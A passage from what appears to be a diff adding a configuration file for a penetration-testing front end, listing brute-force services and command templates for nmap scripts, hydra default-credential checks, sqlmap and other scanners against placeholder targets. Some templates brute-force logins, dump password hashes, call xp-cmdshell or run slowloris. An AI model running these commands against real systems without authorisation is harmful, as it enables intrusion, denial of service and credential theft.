+services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,https-get-form,http-post-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +store-cleartext-passwords-on-exit=True +username-wordlist-path=/usr/share/wordlists/ + +[GUISettings] +process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,483,100" +process-tab-detail=false + +[GeneralSettings] +default-terminal=xterm +enable-scheduler=True +enable-scheduler-on-import=False +max-fast-processes=5 +max-slow-processes=5 +screenshooter-timeout=15000 +tool-output-black-background=False +web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" + +[HostActions] +icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] +nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" +nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" +nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" +nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" +python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan +python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql +citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix +citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix +citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix +citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix +cloudfail=Run cloudfail, python3.7 scripts/CloudFail/cloudfail.py --target [IP] --tor, cloudfail +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt,https-alt" +dnsmap=Run dnsmap, dnsmap [IP] -w ./wordlists/gvit_subdomain_wordlist.txt -r [OUTPUT], dnsmap +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp +ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp +ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p 